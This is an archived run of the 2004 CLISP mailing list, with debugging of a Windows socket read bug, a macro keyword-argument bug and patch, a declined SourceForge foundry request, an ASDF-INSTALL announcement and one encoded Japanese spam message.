:junk-allowed t))) (unless length (error "No Content-Length header found")) (setf (stream-element-type stream) '(unsigned-byte 8)) (with-open-file (out "out" :direction :output :element-type '(unsigned-byte 8) :if-exists :supersede) (let ((buf (make-array length :element-type (stream-element-type stream)))) (ext:read-byte-sequence buf stream :no-hang nil) (ext:write-byte-sequence buf out))) (values)))) From edi@agharta.de Thu Jan 15 07:54:32 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ah9pI-0008LE-8w for clisp-list@lists.sourceforge.net; Thu, 15 Jan 2004 07:54:32 -0800 Received: from [213.39.251.99] (helo=bird.agharta.de) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Ah9pH-000208-SR for clisp-list@lists.sourceforge.net; Thu, 15 Jan 2004 07:54:32 -0800 Received: by bird.agharta.de (Postfix, from userid 500) id CDC7C10ED7; Thu, 15 Jan 2004 16:54:29 +0100 (CET) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem with READ-BYTE-SEQUENCE on Windows Reply-To: edi@agharta.de References: From: Edi Weitz In-Reply-To: (Edi Weitz's message of "Thu, 15 Jan 2004 13:26:21 +0100") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 15 07:55:02 2004 X-Original-Date: Thu, 15 Jan 2004 16:54:29 +0100 Some more info: If I add two PRINT statements (see below) I get (on Windows) something like 147558 6596 The second number is not always the same but it's always around 10000 or less. Edi. (defun foo (host url) (let ((stream (socket:socket-connect 80 host :external-format (ext:make-encoding :charset 'charset:iso-8859-1 :line-terminator :unix)))) (format stream "GET ~A HTTP/1.0~C~CHost: ~A~C~C~C~C" url #\Return #\Linefeed host #\Return #\Linefeed #\Return #\Linefeed) (force-output stream) (let (length) (loop for line = (read-line stream nil nil) until (or (null line) (zerop (length line)) (eql (elt line 0) (code-char 13))) when (= (mismatch line "Content-length: " :test #'char-equal) 16) do (setq length (parse-integer line :start 15 :junk-allowed t))) (unless length (error "No Content-Length header found")) (print length) ;; <---- HERE (setf (stream-element-type stream) '(unsigned-byte 8)) (with-open-file (out "out" :direction :output :element-type '(unsigned-byte 8) :if-exists :supersede) (let ((buf (make-array length :element-type (stream-element-type stream)))) (print (ext:read-byte-sequence buf stream :no-hang nil)) ;; <---- HERE (ext:write-byte-sequence buf out))) (values)))) From lp1@free-post.net Thu Jan 15 09:19:12 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AhB9E-0001aF-LD for clisp-list@lists.sourceforge.net; Thu, 15 Jan 2004 09:19:12 -0800 Received: from ip-250-122-134-202.rev.dyxnet.com ([202.134.122.250] helo=free-post.net) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AhB9D-00065Q-VL for clisp-list@lists.sourceforge.net; Thu, 15 Jan 2004 09:19:12 -0800 Received: from LP03 (246.38.215.220.ap.yournet.ne.jp [220.215.38.246]) by free-post.net (8.12.8/8.12.8) with SMTP id i0FHKS54021335 for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 01:20:28 +0800 From: lp1@free-post.net To: clisp-list@lists.sourceforge.net Message-ID: <20040116.0220330090.babaq@lp1-free-post.net> MIME-Version: 1.0 X-Mail-Agent: BSMTP DLL Feb 11 2003 by Tatsuo Baba Content-Type: text/plain; charset="ISO-2022-JP" X-Spam-Score: 3.3 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.2 PLING_QUERY Subject has exclamation mark and question mark 2.8 JAPANESE_UCE_SUBJECT Subject contains a Japanese UCE tag Subject: [clisp-list] =?ISO-2022-JP?B?GyRCTCQ+NUJ6OS05cCIoISE0WD80JE4kSiQkSn0kTyQqGyhC?= =?ISO-2022-JP?B?GyRCPGo/dCRHJDkkLDpvPXwkNyRGJC8kQCQ1JCQhIxsoQg==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 15 09:20:01 2004 X-Original-Date: Fri, 16 Jan 2004 02:20:33 +0900 $BL$>5Bz9-9p"(!!4X?4$N$J$$J}$O$*8E20;TCf@n6h5mN)D.#3!]#4#8!]#5(B $B"(EvJ}$+$i$N9-9p$r4uK>$5$l$J$$J}$O!"$*]%"%I%l%9$bJ;$;$F$4JV?.$/$@$5$$!#(B $B!JJV?.%"%I%l%9!K(Blp-to@leading-part.com $B!!JV?.%a!<%k-Mh$K8fIT0B$r$*;}$A$NJ}(B $B!;:G6aIT7J5$$N$?$a!";D6H$7$?$/$F$b$G$-$J$$J}(B $B!;;R6!$,L\$KFO$/HO0O$G;E;v$r$7$?$$J}(B $B!;$o$:$i$o$7$$?&>l$N?M4V4X78$J$I$KG:$_$?$/$J$$J}(B $B!;COJ}$H$$$&$3$H$G!"$J$+$J$+4uK>$N?&u$N$*;E;v$r$7$J$,$iI{<}F~$,F@$i$l$?(B $B$i$H$*9M$($NJ}$r;Y1g$9$k:_Bp%o!<%/$N$40FFb$G$9!#(B $B:_Bp$G$*;E;v$r$7$J$,$i!"%Q%=%3%s5;G=$r3h$+$7$F$*;E;v$NI}$r9-(B $B$2!">-Mh$N0BDj@-$r$D$+$s$G$$$?$@$$$F$^$9!#(B $B6HpJs$rG[?.$7$F$*$j$^$9!#(B $B!v!v;q3J$O$J$/$F$b$d$k5$$N$"$kJ}$G$7$?$i$*;E;v$O$G$-$^$9!v!v(B $B8=:_(B20$B:P0J>e$N$B:G6a$h$/(BTV$B$d<~$j$N?M$+$i!"$3$N$BK\Ev$K;E;v$O$"$k!)(B $B#Q(B>$B>-MhE*$K$b%Q%=%3%s4X78$N;E;v$OBg>fIW$J$N!)(B $B#Q(B>$B;E;v$r$9$k$H$A$c$s$HJs=7$O$B;E;v$r$9$k$?$a$K;q3J65:`$r9XF~$7$?$j!"G'Dj;n83$K%Q%9$7$F(B $B!!!!$+$i=P$J$$$H;E;v$r$5$;$F$b$i$($J$$$H$$$C$?>r7o$,B?$/$"$j$^(B $B!!!!$9$,!)(B $B#Q(B>$B;E;v$OFq$7$/$J$$$N$G$9$+!)(B $B#Q(B>OS$B$d%"%W%j%1!<%7%g%s%=%U%H$O2?$,I,MW$G$7$g$&$+!)(B $B#Q(B>$BF~NO$N$_$N;E;v$O$"$k$N$G$9$+!)(B $B$3$N$h$&$J\$7$/$O2<5-%[!<%`%Z!<%8$G(B $B$*5$7Z$K;qNA@A5a!JL5NA!K$7$F$/$@$5$$!#(B $B!!!!!J#U#R#L!K(Bhttp://www.leading-part.com $B"($3$N9-9p$,=EJ#$7$?>l9g$O!"7h$7$F0-0U$O$4$6$$$^$;$s$N$G!"(B $B!!$4MFpJs8r49$,(B $B!!IT2DG=$N$?$a!"$4LBOG$*$+$1$7$F?=$7Lu$4$6$$$^$;$s$,!"$NJ}$O$*e$2$^$9!#(B From edi@agharta.de Fri Jan 16 06:31:43 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AhV0g-00032r-Ve for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 06:31:42 -0800 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AhV0g-0000f3-Cm for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 06:31:42 -0800 Received: by bird.agharta.de (Postfix, from userid 500) id 0A09029F80; Fri, 16 Jan 2004 15:31:39 +0100 (CET) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem with READ-BYTE-SEQUENCE on Windows Reply-To: edi@agharta.de References: From: Edi Weitz In-Reply-To: (Edi Weitz's message of "Thu, 15 Jan 2004 13:26:21 +0100") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 16 06:32:08 2004 X-Original-Date: Fri, 16 Jan 2004 15:31:39 +0100 FWIW, this doesn't happen with the Cygwin version. Cheers, Edi. From sds@gnu.org Fri Jan 16 06:48:52 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AhVHI-00007m-Jr for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 06:48:52 -0800 Received: from rwcrmhc13.comcast.net ([204.127.198.39]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AhVHI-0003XO-AX for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 06:48:52 -0800 Received: from smtp.podval.org (newton.podval.org[24.60.134.201]) by comcast.net (rwcrmhc13) with ESMTP id <20040116144846015009vjove>; Fri, 16 Jan 2004 14:48:46 +0000 Received: from WINSTEINGOLDLAP (fw-ext.alphatech.com [198.112.236.6]) by smtp.podval.org (Postfix) with ESMTP id D41AE4810F; Fri, 16 Jan 2004 09:47:35 -0500 (EST) To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200401012149.i01Ln1X9029529@van-halen.alma.com> (John K. Hinsdale's message of "Thu, 1 Jan 2004 16:49:01 -0500") References: <200401012149.i01Ln1X9029529@van-halen.alma.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: SourceForge needs a Lisp foundry Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 16 06:49:07 2004 X-Original-Date: Fri, 16 Jan 2004 09:48:44 -0500 > * John K. Hinsdale [2004-01-01 16:49:01 -0500]: > > WIBNI there were a Lisp SF foundry? ... Any volunteers? > > But something like administering a SF "foundry" is something I could > do (which appears to be a mix between maintaining pages of links, > moderating announce lists, and ongoing research -- something I'd do > anyway). OK, so what's the status on this? Did you submit a request? -- Sam Steingold (http://www.podval.org/~sds) running w2k People hear what they want to hear and discard the rest. From hin@van-halen.alma.com Fri Jan 16 07:46:36 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AhWBA-0002bd-MZ for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 07:46:36 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AhWBA-0006vW-5Y for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 07:46:36 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id D1A1E10DED0 for ; Fri, 16 Jan 2004 10:46:33 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i0GFkX86023785 for ; Fri, 16 Jan 2004 10:46:33 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i0GFkXCK023782; Fri, 16 Jan 2004 10:46:33 -0500 Message-Id: <200401161546.i0GFkXCK023782@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Fri, 16 Jan 2004 09:48:44 -0500) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: SourceForge needs a Lisp foundry Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 16 07:47:05 2004 X-Original-Date: Fri, 16 Jan 2004 10:46:33 -0500 > OK, so what's the status on this? Did you submit a request? Oops sorry ... they are not accepting new reqeusts for foundries. See message below from Jacob Moorman of SourceForge. How annoying. I've since submitted a bug fix request that they remove the link inviting requests for new foundries, such being a waste of time exercise. It's also puzzling since the existing set of foundries is quite arbitrary in its depth and breadth of topics. Oh well. Unrelated note on my availability: my CLISP development contributions will be suspended for a little while due to the birth of my son Noah (our first) four days ago on Monday (Jan 12). [Comments to my Email, hin@alma.com, and not to lisp-list please!] --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 ======= FORWARDED MESSAGE ============== To: noreply@sourceforge.net From: "SourceForge.net" Subject: [ alexandria-Feature Requests-871653 ] Request for new foundry: Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Date: Fri, 09 Jan 2004 04:39:24 -0800 Feature Requests item #871653, was opened at 2004-01-06 08:29 Message generated for change (Comment added) made by moorman You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=350001&aid=871653&group_id=1 Category: SF.net: Foundries >Group: Rejected (will not be implemented) >Status: Closed Priority: 5 Submitted By: John Hinsdale (hin) >Assigned to: Patrick McGovern (pat) >Summary: Request for new foundry: Initial Comment: This is to request a new foundry for the Lisp language. I'm one of the developers of the CLisp project, a popular implementatin of Lisp hosted at sourceforge. A number of CLisp developers have suggested I volunteer to administer such a foundry, so that is what I am doing. The main uses of the foundry would be to: - highlight, and act as a directory for, Lisp-oriented projects at Sourceforge - provide links useful to Lisp programmers, including Lisp implementations and commercial vendors - post newsworthy events relevant to Lisp programmers and users Please let me know what the next step is. My SourceForge ID is "hin" ... John Hinsdale, President Alma Mater Software, Inc., Tarrytown, NY USA +1 914-631-4690 hin@users.sourceforge.net hin@alma.com ---------------------------------------------------------------------- >Comment By: Jacob Moorman (moorman) Date: 2004-01-09 07:39 Message: Logged In: YES user_id=152443 Greetings, At this time, SourceForge.net is not accepting any additional requests or suggestions for new foundries. This request is being updated (so you won't be waiting) and closed; the details of this request are being transferred to a master request list which will be reviewed in the future when we again accept foundry suggestions for consideration. Thank you, Jacob Moorman Quality of Service Manager, SourceForge.net ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=350001&aid=871653&group_id=1 From lisp-clisp-list@m.gmane.org Fri Jan 16 10:50:17 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AhZ2u-0005qL-TL for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 10:50:16 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AhZ2u-0001WU-Fu for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 10:50:16 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AhZ2s-0004Sz-00 for ; Fri, 16 Jan 2004 19:50:14 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1AhYPI-0003xt-00 for ; Fri, 16 Jan 2004 19:09:20 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AhYPI-00086a-00 for ; Fri, 16 Jan 2004 19:09:20 +0100 From: Frode Vatvedt Fjeld Lines: 32 Message-ID: <2hbrp3hijz.fsf@vserver.cs.uit.no> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3 (berkeley-unix) Cancel-Lock: sha1:NpczXUHPe5sWCUbFnqhMjHDTc78= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Bug in macro-lambda-list &key processing? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 16 10:51:02 2004 X-Original-Date: Fri, 16 Jan 2004 19:09:20 +0100 It seems to me there is a bug in the processing of &key arguments with explicit keyword-names for macros: [45]> (defmacro foo (&key ((key var))) `(list ',var)) FOO [46]> (foo key 42) *** - EVAL: variable KEY has no value The following restarts are available: STORE-VALUE :R1 You may input a new value for KEY. USE-VALUE :R2 You may input a value to be used instead of KEY. Break 1 [47]> [48]> (foo) *** - EVAL: variable KEY has no value The following restarts are available: STORE-VALUE :R1 You may input a new value for KEY. USE-VALUE :R2 You may input a value to be used instead of KEY. Break 1 [49]> [50]> (lisp-implementation-version) "2.32 (2003-12-29) (built 3283257766) (memory 3283257953)" [51]> Apparently, CLisp tries to evaluate the keyword-name during macroexpansion. This happens to work for symbols in the keyword package, but otherwise not. -- Frode Vatvedt Fjeld From sds@gnu.org Fri Jan 16 11:19:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AhZV1-0006ga-GB for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 11:19:19 -0800 Received: from rwcrmhc12.comcast.net ([216.148.227.85]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AhZV1-0003ML-9u for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 11:19:19 -0800 Received: from smtp.podval.org (newton.podval.org[24.60.134.201]) by comcast.net (rwcrmhc12) with ESMTP id <2004011619190801400444bue>; Fri, 16 Jan 2004 19:19:08 +0000 Received: from WINSTEINGOLDLAP (fw-ext.alphatech.com [198.112.236.6]) by smtp.podval.org (Postfix) with ESMTP id E3AAC4810F; Fri, 16 Jan 2004 14:17:57 -0500 (EST) To: clisp-list@lists.sourceforge.net, Frode Vatvedt Fjeld Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <2hbrp3hijz.fsf@vserver.cs.uit.no> (Frode Vatvedt Fjeld's message of "Fri, 16 Jan 2004 19:09:20 +0100") References: <2hbrp3hijz.fsf@vserver.cs.uit.no> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Bug in macro-lambda-list &key processing? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 16 11:20:01 2004 X-Original-Date: Fri, 16 Jan 2004 14:19:06 -0500 > * Frode Vatvedt Fjeld [2004-01-16 19:09:20 +0100]: > > It seems to me there is a bug in the processing of &key arguments with > explicit keyword-names for macros: > > [45]> (defmacro foo (&key ((key var))) `(list ',var)) > FOO > [46]> (foo key 42) > > *** - EVAL: variable KEY has no value > The following restarts are available: > STORE-VALUE :R1 You may input a new value for KEY. > USE-VALUE :R2 You may input a value to be used instead of KEY. > > Break 1 [47]> thanks for your bug report. please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k Man has 2 states: hungry/angry and sate/sleepy. Catch him in transition. --- defmacro.lisp.~1.24.~ 2003-12-05 13:30:51.715826900 -0500 +++ defmacro.lisp 2004-01-16 14:05:57.106417200 -0500 @@ -129,7 +129,7 @@ (defun kwd-arg-form (restvar kw svar default &aux (dummy '#.(cons nil nil))) ;; the default value should not be evaluated unless it is actually used (let ((arg (gensym "KWD-ARG-"))) - `(let ((,arg (GETF ,restvar ,kw ',dummy))) + `(let ((,arg (GETF ,restvar ',kw ',dummy))) (if (eq ,arg ',dummy) (progn ,@(when svar `((setq ,svar nil))) ,default) ,arg)))) @@ -163,7 +163,7 @@ (cond ((symbolp next) ; foo (setq kw (intern (symbol-name next) *keyword-package*)) (setq %let-list - (cons `(,next (GETF ,restvar ,kw NIL)) %let-list)) + (cons `(,next (GETF ,restvar ',kw NIL)) %let-list)) (setq kwlist (cons kw kwlist))) ((atom next) (cerror (TEXT "It will be ignored.") From sds@gnu.org Fri Jan 16 11:24:29 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AhZa0-0007iu-W7 for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 11:24:28 -0800 Received: from rwcrmhc13.comcast.net ([204.127.198.39]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AhZa0-0004EM-Pd for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 11:24:28 -0800 Received: from smtp.podval.org (newton.podval.org[24.60.134.201]) by comcast.net (rwcrmhc13) with ESMTP id <20040116192422015008nkbbe>; Fri, 16 Jan 2004 19:24:22 +0000 Received: from WINSTEINGOLDLAP (fw-ext.alphatech.com [198.112.236.6]) by smtp.podval.org (Postfix) with ESMTP id E91E94810F; Fri, 16 Jan 2004 14:23:07 -0500 (EST) To: clisp-list@lists.sourceforge.net, edi@agharta.de Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Edi Weitz's message of "Thu, 15 Jan 2004 16:54:29 +0100") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Problem with READ-BYTE-SEQUENCE on Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 16 11:25:03 2004 X-Original-Date: Fri, 16 Jan 2004 14:24:02 -0500 do you observe this bug when you try to read a file (as opposed to a socket)? -- Sam Steingold (http://www.podval.org/~sds) running w2k There are 10 kinds of people: those who count in binary and those who do not. From edi@agharta.de Fri Jan 16 13:18:27 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AhbMJ-0005Tw-NU for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 13:18:27 -0800 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AhbMJ-00076s-7k for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 13:18:27 -0800 Received: by bird.agharta.de (Postfix, from userid 500) id 412A82A199; Fri, 16 Jan 2004 22:18:25 +0100 (CET) To: clisp-list@lists.sourceforge.net Reply-To: edi@agharta.de From: Edi Weitz Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] ASDF-INSTALL for CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 16 13:19:01 2004 X-Original-Date: Fri, 16 Jan 2004 22:18:25 +0100 [Looks like my first email didn't make it. Let's try it again...] I have ported ASDF-INSTALL[1] to CMUCL, CLISP, AllegroCL, and LispWorks, and Marco Baringer has added support for OpenMCL. It is currently available from my own server at and I'd be happy if people would test it and send me bug reports. I've also written a little tutorial for ASDF-INSTALL aimed at "newbies" which can be found at . I'd like to hear (er, read) what you think about it and how it can be improved. Cheers, Edi. [1] From edi@agharta.de Fri Jan 16 14:35:49 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AhcZA-00020B-6Z for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 14:35:48 -0800 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AhcZ9-0001yS-NK for clisp-list@lists.sourceforge.net; Fri, 16 Jan 2004 14:35:48 -0800 Received: by bird.agharta.de (Postfix, from userid 500) id E3C3B2A1B0; Fri, 16 Jan 2004 23:35:46 +0100 (CET) To: clisp-list@lists.sourceforge.net Reply-To: edi@agharta.de References: From: Edi Weitz In-Reply-To: (Sam Steingold's message of "Fri, 16 Jan 2004 14:24:02 -0500") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Problem with READ-BYTE-SEQUENCE on Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 16 14:36:03 2004 X-Original-Date: Fri, 16 Jan 2004 23:35:46 +0100 On Fri, 16 Jan 2004 14:24:02 -0500, Sam Steingold wrote: > do you observe this bug when you try to read a file (as opposed to a > socket)? No. I tried the code below which tries to mimick my original example and it all went fine. Edi. (defun bar (name) (with-open-file (stream name) (let ((length (file-length stream))) (print length) (setf (stream-element-type stream) '(unsigned-byte 8)) (with-open-file (out "out" :direction :output :element-type '(unsigned-byte 8) :if-exists :supersede) (let ((buf (make-array length :element-type (stream-element-type stream)))) (print (ext:read-byte-sequence buf stream :no-hang nil)) (ext:write-byte-sequence buf out))) (values)))) From bruno@clisp.org Sun Jan 18 10:21:34 2004 Received: from sc8-sf-mx2-b.sourceforge.net 